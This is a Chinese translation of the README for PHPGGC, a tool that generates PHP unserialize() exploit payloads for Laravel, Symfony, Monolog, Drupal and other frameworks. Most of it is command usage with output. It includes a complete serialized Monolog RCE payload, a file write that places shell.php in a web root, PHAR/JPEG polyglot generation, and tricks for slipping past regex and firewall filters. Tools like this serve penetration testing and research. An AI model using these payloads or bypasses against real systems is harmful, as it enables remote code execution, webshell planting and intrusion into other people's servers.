ambionics/phpggc

GitHub: ambionics/phpggc

PHPGGC 是一款 PHP 反序列化利用链库与生成工具,旨在快速构建针对各大主流框架 unserialize 漏洞的攻击载荷。

Stars: 3755 | Forks: 545

# PHPGGC: PHP Generic Gadget Chains *PHPGGC 是一个 unserialize() payload 库,并提供了一个从命令行或编程方式生成它们的工具*。 当你在某个网站上遇到 unserialize 漏洞但没有代码,或者仅仅是试图构建一个漏洞利用程序(exploit)时,这个工具允许你生成 payload,而无需经历寻找 gadget 并组合它们的繁琐步骤。它可以被视为 [frohoff 的 ysoserial](https://github.com/frohoff/ysoserial) 的 PHP 版本。 目前,该工具支持的 gadget chains 包括:CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii 和 ZendFramework。 ## 环境要求 运行 PHPGGC 需要 PHP >= 5.6。 ## 用法 运行 `./phpggc -l` 获取 gadget chains 列表: ``` $ ./phpggc -l Gadget Chains ------------- NAME VERSION TYPE VECTOR I Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString * CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct Doctrine/FW1 ? File write __toString * Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct * Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct * Dompdf/FD1 1.1.1 <= ? File delete __destruct * ... ``` 筛选 gadget chains: ``` $ ./phpggc -l laravel Gadget Chains ------------- NAME VERSION TYPE VECTOR I Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct ``` 每个 gadget chain 包含: - Name(名称):框架/库的名称 - Version(版本):gadget 对应的框架/库版本 - Type(类型):利用类型:RCE, File Write, File Read, Include... - Vector(向量):反序列化后触发链的向量(`__destruct()`, `__toString()`, `offsetGet()`, ...) - Informations(信息):关于该链的其他信息 使用 `-i` 获取关于某个链的详细信息: ``` $ ./phpggc -i symfony/rce1 Name : Symfony/RCE1 Version : 3.3 Type : rce Vector : __destruct Informations : Exec through proc_open() ./phpggc Symfony/RCE1 ``` 对于 RCE gadgets,根据 gadget 的工作方式,执行的命令可以有 3 种格式: - RCE (Command): `./phpggc Symfony/RCE1 id` - RCE (PHP code): `./phpggc Symfony/RCE2 'phpinfo();'` - RCE (Function call): `./phpggc Symfony/RCE4 system id` 一旦你选择了一个链,运行 `./phpggc [parameters]` 来获取 payload。 例如,要获取 Monolog 的 payload,你可以这样做: ``` $ ./phpggc monolog/rce1 assert 'phpinfo()' O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} ``` 要使用 SwiftMailer 进行文件写入,你可以这样做: ``` $ echo 'It works !' > /tmp/data $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data O:13:"Swift_Message":8:{...} ``` ## Wrapper `--wrapper` (`-w`) 选项允许你定义一个包含以下函数的 PHP 文件: - `process_parameters(array $parameters)`: 在 `generate()` 之前调用,允许更改参数 - `process_object(object $object)`: 在 `serialize()` 之前调用,允许更改对象 - `process_serialized(string $serialized)`: 在 `serialize()` 之后调用,允许更改序列化字符串 例如,如果易受攻击的代码如下所示: ``` $object ); } ``` 然后像这样调用 phpggc: ``` $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} ``` ## PHAR(GGC) ### 历史 在 BlackHat US 2018 上,@s_n_t 发布了 PHARGGC,这是 PHPGGC 的一个分支,它不是构建序列化 payload,而是构建一个完整的 PHAR 文件。这个 PHAR 文件包含序列化数据,因此可用于各种利用技术(`file_exists`, `fopen` 等)。论文在[这里](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。 ### 实现 PHAR 归档有三种不同的格式:**PHAR, TAR, 和 ZIP**。PHPGGC 支持这三种格式。 可以使用 `--phar-jpeg` (`-pj`) 生成多语言文件(Polyglot files)。还有其他选项可用(使用 `-h`)。 ### 示例 ``` $ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar $ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id $ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar $ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id $ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar $ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id ``` ## 编码器 参数允许修改 payload 的输出方式。例如,`-u` 会对其进行 URL 编码,`-b` 会将其转换为 base64。 **Payload 通常包含 NULL 字节,因此无法按原样复制/粘贴**。使用 `-s` 进行软 URL 编码,这可以保持 payload 的可读性。 编码器可以链式使用,因此**顺序很重要**。例如,`./phpggc -b -u -u slim/rce1 system id` 会先对 payload 进行 base64 编码,然后进行两次 URL 编码。 ## 高级:增强功能 ### Fast destruct PHPGGC 实现了一个 `--fast-destruct` (`-f`) 标志,它将确保你的序列化对象在 `unserialize()` 调用后立即被销毁,而不是在脚本结束时。**我建议在每个 `__destruct` 向量中使用它**,因为它提高了可靠性。例如,如果 PHP 脚本在调用后引发异常,你的对象的 `__destruct` 方法可能不会被调用。由于它与编码器同时处理,因此需要首先设置它。 ``` $ ./phpggc -f -s slim/rce1 system id a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"... ``` ### ASCII Strings 使用 `S` 序列化格式代替标准的 `s`。这会将每个非 ASCII 字符替换为十六进制表示: `s:5:"AB";̀` -> `S:5:"A\00B\09\0D";` 当由于某种原因不允许非 ascii 字符(例如 NULL BYTE)时,这很有用。由于 payload 通常包含它们,这确保了 payload 仅由 ASCII 值组成。 *注意:这是实验性的,在某些情况下可能不起作用。* ### Armor Strings 使用 `S` 序列化格式代替标准的 `s`。这会将每个字符替换为十六进制表示: `s:5:"AB";̀` -> `S:5:"\41\00\42\09\0D";` 当防火墙或 PHP 代码阻止字符串时,这很方便。 *注意:这是实验性的,在某些情况下可能不起作用。* *注意:这会使 payload 中的每个字符串增长 3 倍。* ### Plus Numbers 有时,PHP 脚本会使用正则表达式(如 `/O:[0-9]+:`)验证给定的序列化 payload 是否不包含对象。使用 `O:+123:...` 代替 `O:123:` 可以轻松绕过这一点。可以使用 `--plus-numbers ` 或 `-n ` 自动在符号前添加这些 `+` 号。 例如,要混淆对象和字符串,可以使用:`--n Os`。请注意,自 PHP 7.2 起,只有 `i` 和 `d` (float) 类型可以带有 `+`。 ### Public Properties 尝试将序列化 payload 中对受保护或私有属性的引用转换为公共。 这可能很有用,因为当 PHP 序列化对象的非公共属性时,它会在属性名称前加上星号(对于 protected)或类名(对于 private),并用空字节包围,如果 payload 以纯文本形式传输或存储而没有编码,这些字节很容易丢失。如果发生这种情况,payload 将无法反序列化,因为属性名称的字符串长度(以及名称本身)将不正确。 作为额外的好处,没有前缀的 payload 会稍微小一点。将属性转换为公共往往在较新的 PHP 版本中有效,但在旧版本(PHP 7.2 之前)中可能会导致问题。 如果链包含一个或多个具有自定义序列化/反序列化实现的对象,此功能可能无法正常工作。 ### 测试你的链 要测试你想使用的 gadget chain 是否在目标环境中工作,跳转到你的环境文件夹并运行不带参数的链,使用 `--test-payload` 选项。 例如,要测试 `Monolog/RCE2` 是否在 Symfony `4.x` 上工作: ``` $ composer create-project symfony/website-skeleton=4.x some_symfony $ cd some_symfony $ phpggc monolog/rce2 --test-payload Trying to deserialize payload... SUCCESS: Payload triggered ! ``` 如果 payload 触发,退出代码将为 `0`,否则为 `1`。 ### 针对包的每个版本测试你的链 如果你想知道某个 gadget chain 适用于包的哪些版本,可以使用 `test-gc-compatibility.py`。 ``` $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 Testing 59 versions for monolog/monolog against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 2.x-dev │ OK │ OK │ KO │ │ 2.3.0 │ OK │ OK │ KO │ │ 2.2.0 │ OK │ OK │ KO │ │ 2.1.1 │ OK │ OK │ KO │ │ 2.1.0 │ OK │ OK │ KO │ │ 2.0.2 │ OK │ OK │ KO │ │ 2.0.1 │ OK │ OK │ KO │ │ 2.0.0 │ OK │ OK │ KO │ │ 2.0.0-beta2 │ OK │ OK │ KO │ │ 2.0.0-beta1 │ OK │ OK │ KO │ │ 1.x-dev │ OK │ OK │ KO │ │ 1.26.1 │ OK │ OK │ KO │ │ 1.26.0 │ OK │ OK │ KO │ │ 1.25.5 │ OK │ OK │ KO │ │ 1.25.4 │ OK │ OK │ KO │ ... │ 1.0.1 │ OK │ KO │ KO │ │ 1.0.0 │ OK │ KO │ KO │ │ 1.0.0-RC1 │ OK │ KO │ KO │ │ dev-main │ OK │ OK │ KO │ │ * dev-phpstan │ OK │ OK │ KO │ └─────────────────┴─────────┴──────────────┴──────────────┘ ``` 你可以使用以下语法定义要测试的版本。 ``` $ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3 Testing 2 versions for monolog/monolog against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 2.3.0 │ OK │ OK │ KO │ │ 1.25.4 │ OK │ OK │ KO │ └─────────────────┴─────────┴──────────────┴──────────────┘ ``` # API 除了将 PHPGGC 用作命令行工具外,你还可以编写 PHP 脚本: ``` process_parameters([ 'function' => 'system', 'parameter' => 'id', ]); # 生成 payload $object = $gc->generate($parameters); # 大多数(如果不是全部)GC 不使用 process_object 和 process_serialized,所以 # 为了快速简便的代码,你可以省略这两个 $object = $gc->process_object($object); # 序列化 payload $serialized = serialize($object); $serialized = $gc->process_serialized($serialized); # 显示它 print($serialized . "\n"); # 从此 payload 创建 PHAR 文件 $phar = new \PHPGGC\Phar\Tar($serialized); file_put_contents('output.phar.tar', $phar->generate()); ``` 这允许你更轻松地调整参数或编写漏洞利用程序。 *注意:目前这还处于试验阶段,所以请报告 bug。* # 贡献 非常欢迎 Pull requests。请遵循这些简单的准则: - `__destruct()` 总是最好的向量 - 至少指定你构建 payload 的库版本 - 如果 gadget 定义中的参数保持默认值,不要包含它们。这只会让 payload 变大。 - 遵守代码风格:例如,左括号 `{` 位于新行,数组应写为 `[1, 2, 3]` 而不是旧的 `array(1, 2, 3)` 表示法。 在代码方面,目录结构相当简单:_gadgets.php_ 中的 gadgets,_chain.php_ 中的描述 + 逻辑。 如果需要修改参数,你可以定义预处理和后处理方法。 希望已实现的 gadgets 足以让你构建自己的。 否则,我很乐意回答你的问题。 请测试尽可能多的版本。版本的命名法如下:`[-] <= [+]`。`-` 和 `+` 符号表示你的 payload 可能分别在更低和更高版本上工作。例如,如果你的 gadget chain 从 2.0.0 版本工作到 4.4.1 版本(这是当时的最后一个版本),请使用 `2.0.0 <= 4.4.1+`。 `--new ` 命令行选项可用于为新的 gadget chain 创建目录和文件结构。 例如,使用 `./phpggc -n Drupal RCE` 将创建一个新的 Drupal RCE gadgetchain。 # Docker 如果你不想安装 PHP,可以使用以下命令构建 docker 镜像: ``` $ docker build . -t 'phpggc' ``` 然后你可以使用 docker 化的 `phpggc`。 ### 生成 gadget chain ``` $ docker run phpggc Monolog/rce1 'system' 'id' ``` ### 测试链 跳转到你的环境文件夹并运行不带参数的链,使用 `--test-payload` 选项: ``` $ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload ``` ### 生成 phar / polyglot 文件 ``` $ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id ``` ### 运行 `test-gc-compatibility.py` ``` $ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2 Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS). Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓ ┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃ ┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩ │ 2.2 │ OK │ OK │ OK │ │ 2.7.2 │ OK │ OK │ KO │ └──────────────────────────┴─────────┴───────────────┴───────────────┘ ``` # 许可证 [Apache License 2.0](LICENSE)
标签:CISA项目, CTF工具, ffuf, ffuf, Gadget Chain, OpenVAS, Payload生成, PHP, PHPGGC, RCE, Web安全, ysoserial替代, 反序列化漏洞, 漏洞搜索, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护